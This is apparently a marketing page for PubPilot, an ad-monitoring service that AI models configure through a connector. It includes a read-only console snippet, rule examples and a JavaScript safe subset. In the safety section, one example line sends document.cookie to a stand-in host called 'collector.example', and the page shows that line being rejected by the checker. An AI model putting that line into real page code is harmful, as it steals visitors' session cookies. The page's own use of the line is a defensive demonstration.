Works with Claude
ChatGPT
Set up ad monitoring by asking your AI.
Connect PubPilot to your own Claude or ChatGPT. Ask it to check your homepage and an article, and it proposes the rules your ad stack needs: tags loading, slots on the page, consent, revenue drops. You see each rule before it exists, and nothing changes until you say yes.
$1 for 7 days, then your plan. Cancel anytime.
- Set up monitoring for my siteCheck my homepage and an article page, then propose the rules I most need.
- get_accountlist_domainsget_setup_guide
- Your plan includes on-page rules and Google Ad Manager is connected. Open your homepage and one article in desktop Chrome, wait for the ads, then paste this snippet in the console and send me what it prints. It only reads the page.
{ "globals": { "googletag": true, "pbjs": true, "apstag": true, "OneTrust": true }, "gpt_slots": [ "div-gpt-ad-rec_atf", "div-gpt-ad-billb_top", ... 9 in all ], "consent_cmp": ["OneTrust"] }- 9 ad slots on the homepage, 16 on the article. GPT, Prebid and the Amazon tag load, and OneTrust is your consent tool. These are the 10 rules I would start with:
- Google Publisher Tag loadscritical
- Prebid loadscritical
- Top slot is on the pagecritical
- Article billboards renderwarning
- 6 more, with two GAM alerts
- Start with the first one.
- create_js_rule (preview)
- Shall I create it? Say yes and I will confirm this exact change.Preview. Nothing has changed yet.
- Rule
- Google Publisher Tag loads
- Check
- GLOBAL_OBJECT googletag, shouldExist
- When
- 8 s after the page loads, every page
- Alert
- 3 failed page views in 30 minutes, critical
waiting for your yes
What PubPilot watches for, and what it costs you
- A release drops the GPT tag from one template.Found on Monday, in the weekly report.
- Someone edits ads.txt and overwrites a line.Found when the partner asks why spend fell.
- A pricing rule change pushes CPMs down.Found days later, if at all.
Each of these costs ad revenue every hour nobody sees it, and Google Ad Manager sends no email. PubPilot checks for them all day and alerts your team the day it happens. Your AI does the setup.
What you can ask.
A rule is one check PubPilot runs for you, such as "Prebid loads on every page" or "revenue is not zero today". When a check fails, your team gets an alert.
PubPilot's rules are technical: selectors, global objects, URL patterns, GAM metrics and periods. Your AI knows those well. Through the connector it reads your account and writes the rules in PubPilot's format, so you describe what should never break and check its work.
- Set up a site from scratch. Your AI gives you a short console snippet, reads what it prints on your homepage and an article, and proposes about ten rules with a reason and a severity for each.
- Explain an alert. What the rule checks, what the data showed when it fired, whether it is still happening, and what to look at first in the page or in Google Ad Manager.
- Run a weekly health check. Open alerts and how long they have been open, what fired and resolved, ads.txt issues, and rules that never fire or fire too often.
- Audit your rules. Gaps per domain, duplicates, noisy or silent rules, paused rules that should run, and a proposed fix for each one you pick.
- Pause, edit or undo. Pause a rule during a release, change a threshold, add a required ads.txt line, or put back the last change.
Copy a prompt, paste it in your chat.
Five of the connector's eight named prompts, word for word. Each one tells your AI which PubPilot tools to call and to apply nothing until you agree.
Set up monitoring for my site
Set up PubPilot monitoring for my site. Use the domain from list_domains (ask me which one if there are several). 1. Call get_account and list_domains to see my plan and domains. 2. Call get_setup_guide and follow it: give me the browser console snippet to run on my homepage and on one typical article page, and wait for the results I paste. 3. From those results, propose the 10 rules I most need: ad tags loading (googletag, pbjs), the main ad slots present, the consent tool loading, and one or two GAM alerts for revenue and impressions drops if GAM is connected. Use the four standard conditions only. 4. Show them as a short table: rule, what it checks, why it matters, severity. Then create them one at a time, each with its preview, after I say which ones I want.
Why did this alert fire
Find my latest open PubPilot alert with list_alerts and explain it. Call get_alert. Tell me in plain words what the rule or alert checks, what the data showed when it fired (pages, devices, browsers, values against the baseline), whether it is still happening, and the two or three things I should check first on my site or in Google Ad Manager. If the rule itself looks wrong (too sensitive, wrong selector, wrong pages), say so and propose the change, but do not apply it unless I agree.
Weekly health check
Give me a weekly health check of my PubPilot monitoring. 1. list_alerts for the last 7 days, status all, and the open ones separately. 2. get_ads_txt for every domain. 3. list_js_rules and list_gam_alerts. Write: the open problems first (with how long they have been open), then what fired and resolved this week, then ads.txt issues, then rules that look noisy or silent. End with at most three things to do this week.
Audit my rules
Audit my PubPilot rules. Call get_account, list_domains, list_js_rules, list_gam_alerts and get_ads_txt. Check each domain for gaps (no check that the ad tags load, no check on the main ad slots, no ads.txt required lines), duplicate or overlapping rules, rules that fire far too often or never, and paused rules that should run. For a rule that runs custom code, say whether one of the four standard conditions could do the same check (code the user wrote in the PubPilot app is changed only there; safe-subset code written through the connector can be changed here). List the findings by domain with a proposed fix for each. Apply nothing until I pick which fixes I want; then do them one at a time with their previews.
How to check my page and pick rules
How to set up PubPilot monitoring for a site. PubPilot does not fetch the site's pages; the facts come from the user's own browser.
1. Get the facts from a real page view. Ask the user to open their homepage and one typical article page in a desktop browser, wait until the ads have loaded, open the developer console (F12 or Cmd+Option+J), paste the snippet below and press Enter, then paste the printed JSON back to you. The snippet only reads the page: it sends nothing and changes nothing. If you can read pages yourself, you may inspect the page instead, but the browser result is better because ad tags run after the page loads.
(() => {
const w = window, d = document, out = { page: location.origin + location.pathname, globals: {}, gpt_slots: [], prebid_ad_units: [] };
for (const g of ['googletag', 'pbjs', 'apstag', 'adsbygoogle', '__tcfapi', '__gpp', '__uspapi', 'OneTrust', 'Didomi', 'Cookiebot', 'UC_UI', '_sp_', '__cmp']) out.globals[g] = typeof w[g] !== 'undefined';
try { w.googletag.pubads().getSlots().forEach((s) => { const id = s.getSlotElementId(), el = d.getElementById(id); out.gpt_slots.push({ ad_unit: s.getAdUnitPath(), element_id: id, on_page: !!el, iframes: el ? el.querySelectorAll('iframe').length : 0 }); }); } catch (e) {}
try { out.prebid_ad_units = (w.pbjs.adUnits || []).map((u) => u.code); } catch (e) {}
out.iframes_in_slots = out.gpt_slots.reduce((n, s) => n + s.iframes, 0);
out.consent_cmp = ['__tcfapi', '__gpp', '__uspapi', 'OneTrust', 'Didomi', 'Cookiebot', 'UC_UI', '_sp_', '__cmp'].filter((g) => out.globals[g]);
console.log(JSON.stringify(out, null, 2));
})();
2. The facts that matter:
- Ad slots: each GPT slot's element id (for example div-gpt-ad-top) and ad unit path. Slots with on_page true and iframes above 0 are rendering.
- Ad tag globals: googletag (Google Publisher Tag), pbjs (Prebid), apstag (Amazon), adsbygoogle (AdSense). Prebid ad unit codes usually match the slot element ids.
- Consent: which consent tool is present (__tcfapi, __gpp, OneTrust, Didomi, Cookiebot and so on). Without a consent signal EU demand can stop bidding.
- ads.txt: ask the user to open https://their-domain/ads.txt, or call get_ads_txt for what PubPilot already checks and which required lines are missing.
3. Map each fact to one of the four conditions (create_js_rule):
- GLOBAL_OBJECT: a global that must exist, for example { objectPath: 'googletag', shouldExist: true } or 'pbjs' or '__tcfapi'. Ad tags load late, so use executionTiming { mode: 'DELAYED', delaySeconds: 8 }.
- DOM_ELEMENT: one important slot must be on the page, for example { selector: '#div-gpt-ad-top', shouldExist: true }.
- ELEMENT_COUNT: a number of slots or ad iframes, for example { selector: "[id^='div-gpt-ad']", expectedCount: 3, countOperator: 'GREATER_THAN_OR_EQUAL' }.
- TEXT_PRESENT: text that must (or must not) be in the page HTML, for example an error message that should never appear ({ searchText: '...', shouldBePresent: false }).
Use urlPatternType SUBSTRING or REGEX when a slot exists only on some pages (for example '/article/'). A threshold of 3 to 5 in 30 to 60 minutes avoids alerts from single bad page views.
Only when none of the four can express a check (for example every GPT slot got an ad back), use CUSTOM_FUNCTION with code in the safe subset below.
Custom checks (CUSTOM_FUNCTION) through the connector use a small safe subset of JavaScript. The code is a function body that returns true when the page is fine; anything else, or an error, counts as a violation. At most 2000 characters. It may use:
- const and let, if / else, return, and setting a let variable (x = ...).
- Text, numbers, true, false, null, undefined, lists [a, b], template text without a tag, comparisons (=== !== == != < <= > >=), + - * / %, !, && || ??, the ? : operator, typeof, and optional chaining (?.).
- Arrow functions with a single expression, for example s => s.getSlotElementId() !== ''.
- The globals document, googletag, pbjs, __tcfapi, __gpp, __uspapi, __cmp, apstag and adsbygoogle (also written as window.googletag and so on). __tcfapi, __gpp, __uspapi, __cmp, apstag and adsbygoogle can only be checked for whether they exist: typeof __tcfapi === 'function'.
- document and elements: querySelector, querySelectorAll, getElementById (on document), getAttribute, hasAttribute, matches, closest, getBoundingClientRect, contains; and reading body, title, readyState, id, className, tagName, textContent, innerText, children, offsetWidth, offsetHeight, style.display, style.visibility.
- Google Publisher Tag: googletag.apiReady, googletag.pubadsReady, googletag.pubads().getSlots(), and on a slot getSlotElementId(), getAdUnitPath(), getResponseInformation() (null while the slot has no ad).
- Prebid: pbjs.adUnits (code, bids, mediaTypes, sizes), pbjs.version, pbjs.libLoaded, pbjs.getBidResponsesForAdUnitCode(code), pbjs.getAllWinningBids().
- Lists: length, a fixed position such as [0], some, every, filter, map, find, includes, indexOf. Text: length, includes, indexOf, startsWith, endsWith, trim, toLowerCase, toUpperCase.
Limits in the visitor's browser: one run of a check may take at most 20 ms and 20,000 steps, and a list of more than 1,000 elements or slots stops it (an error counts as a violation). Use narrow selectors (an id, a class of the ad slots), not '*' or 'div', and do not query the page again inside some/every/map.
Refused, with the reason: loops (use some, every, filter), function and class, new, this, object literals, regular expressions, setting properties, computed names other than fixed text or numbers, timers, network calls, cookies, storage, the page address (use the rule's urlPattern), window as a value, eval.
Examples:
return document.querySelectorAll("[id^='div-gpt-ad']").length >= 3;
const slots = window.googletag?.pubads?.().getSlots() ?? []; return slots.length > 0 && slots.every(s => s.getResponseInformation() !== null);
return (pbjs?.adUnits ?? []).length > 0 && typeof __tcfapi === 'function';
Show the user the code exactly and the preview's what_it_checks line before asking for a yes.
4. Propose the rules as a short table (rule, what it checks, why it matters, severity). After the user picks, create each with create_js_rule: the first call is a preview, and only after the user's yes do you call again with the confirm_token. Add GAM alerts for revenue and impressions drops if get_account says GAM is connected, and required ads.txt lines with update_ads_txt.Ten rules from two page views.
We ran the set-up prompt's console snippet on the homepage and one article of a large public news site (not a PubPilot customer, so we leave its name out). It found 9 ad slots on the homepage and 16 on the article, with Google Publisher Tag, Prebid, the Amazon tag and OneTrust. These are the rules the AI proposed from that output.
| Rule | What it checks | Pages | Severity |
|---|---|---|---|
| Google Publisher Tag loads | GLOBAL_OBJECT googletag exists, 8 s after load | All pages | critical |
| Prebid loads | GLOBAL_OBJECT pbjs exists, 8 s after load | All pages | critical |
| Amazon tag loads | GLOBAL_OBJECT apstag exists, 8 s after load | All pages | warning |
| Consent tool loads | GLOBAL_OBJECT OneTrust exists, 5 s after load | All pages | critical |
| Top slot is on the page | DOM_ELEMENT #div-gpt-ad-rec_atf exists | All pages | critical |
| Homepage keeps its slots | ELEMENT_COUNT [id^='div-gpt-ad-'] at least 8 | Homepage only (REGEX) | warning |
| Article billboards render | ELEMENT_COUNT [id^='div-gpt-ad-billb_'] at least 3 | Articles: /YYYY/MM/DD/ (REGEX) | warning |
| Slots get ads back | CUSTOM_FUNCTION, safe subset: some GPT slot has a response, 10 s after load | All pages | critical |
| Impressions drop | GAM alert: impressions down 30% against the 7-day average, yesterday | GAM network | warning |
| Revenue stops | GAM alert: zero revenue today | GAM network | critical |
Two minutes to connect.
You need a PubPilot account and Claude or ChatGPT. Both add PubPilot from the same address and sign you in with your PubPilot login.
https://app.pub-pilot.com/api/mcp
In Claude
claude.ai or the Claude desktop app
- In Claude, open Customize, then Connectors.
- Click + Add, then Add custom connector.
- Name it PubPilot, paste the connector URL and click Continue.
- Keep the sign-in settings Claude detects, choose Sign in now and click Add.
- Sign in to PubPilot in the window that opens and allow the connection.
- In a chat, click + at the lower left, open Connectors and switch PubPilot on.
Custom connectors work on every Claude plan, Free included (Free allows one custom connector). On Team and Enterprise an owner adds the connector for the organisation and each member then clicks Connect.
Claude help: custom connectors
In ChatGPT
chatgpt.com on the web
- Open chatgpt.com/plugins on the web.
- Select the plus button, then Add custom MCP server.
- Name it PubPilot. Under Connection, paste the connector URL as the Server URL.
- Choose OAuth for authentication, read the risk warning and select I understand and want to continue.
- Select Create as a plugin, then install it and sign in to PubPilot when asked.
- In a chat, type @ and pick PubPilot.
ChatGPT adds custom MCP servers on the web. Workspace permissions apply, so on a Business or Enterprise workspace an admin may have to allow custom servers first. ChatGPT asks you to confirm each write action as well.
OpenAI docs: add a custom MCP serverThen paste the set-up prompt. In PubPilot, Settings, AI assistant has the same URL and prompts.
Your AI proposes. You decide.
An AI that can write monitoring rules on your live site needs limits. These are the ones built into the connector.
Nothing changes until you say yes
Every change takes two calls. The first one changes nothing: it returns the exact rule or alert and a one-time token. Your AI has to show you that preview and wait for your yes before it sends the second call. The token expires after 10 minutes and works only for that exact change.
Custom code only in a checked safe subset
The four standard checks (a global exists, an element exists, a count of elements, text on the page) cover most rules, and the connector prefers them. When a rule needs code, PubPilot accepts it only in a small read-only subset of JavaScript and refuses everything else with the reason. The code runs in PubPilot's own interpreter in the page, capped at 20 ms per run.
Every change is logged and can be undone
Each change made through the connector is stored with who made it, when, and the rule before and after. Ask your AI for list_changes to see them and undo_change to put the last one back.
PubPilot never fetches your pages
PubPilot's servers do not load your site for the AI. The facts about a page come from your own browser: a short snippet you paste into the console reads the ad tags and slots and prints them. It sends nothing and changes nothing on the page.
const slots = window.googletag?.pubads?.().getSlots() ?? []; return slots.length > 0 && slots.some(s => s.getResponseInformation() !== null);
This check only reads the page: Google Publisher Tag (googletag); the ad slots defined in Google Publisher Tag; whether each slot got an ad back. The page counts as fine when the code returns true; anything else, or an error, is recorded as a violation. It cannot send data anywhere, change the page, or read cookies, storage or the page address.
fetch('https://collector.example/?c=' + document.cookie); return true;Custom code is outside the safe subset: "fetch" is not allowed: custom checks cannot send anything over the network (line 1).
Two custom checks run through PubPilot's checker on 18 Nov 2026, with its real output.
The snippet your AI asks you to run
It reads the ad tags, slots and consent tool on the page you are on and prints them. Nothing leaves the page.
(() => {
const w = window, d = document, out = { page: location.origin + location.pathname, globals: {}, gpt_slots: [], prebid_ad_units: [] };
for (const g of ['googletag', 'pbjs', 'apstag', 'adsbygoogle', '__tcfapi', '__gpp', '__uspapi', 'OneTrust', 'Didomi', 'Cookiebot', 'UC_UI', '_sp_', '__cmp']) out.globals[g] = typeof w[g] !== 'undefined';
try { w.googletag.pubads().getSlots().forEach((s) => { const id = s.getSlotElementId(), el = d.getElementById(id); out.gpt_slots.push({ ad_unit: s.getAdUnitPath(), element_id: id, on_page: !!el, iframes: el ? el.querySelectorAll('iframe').length : 0 }); }); } catch (e) {}
try { out.prebid_ad_units = (w.pbjs.adUnits || []).map((u) => u.code); } catch (e) {}
out.iframes_in_slots = out.gpt_slots.reduce((n, s) => n + s.iframes, 0);
out.consent_cmp = ['__tcfapi', '__gpp', '__uspapi', 'OneTrust', 'Didomi', 'Cookiebot', 'UC_UI', '_sp_', '__cmp'].filter((g) => out.globals[g]);
console.log(JSON.stringify(out, null, 2));
})();Questions about the connector.
Let your AI write the first ten rules.
Start the trial, connect Claude or ChatGPT, paste the set-up prompt. You confirm every rule it proposes, and PubPilot alerts you the day something on your ad stack breaks.
$1 for 7 days, then your plan. Cancel anytime.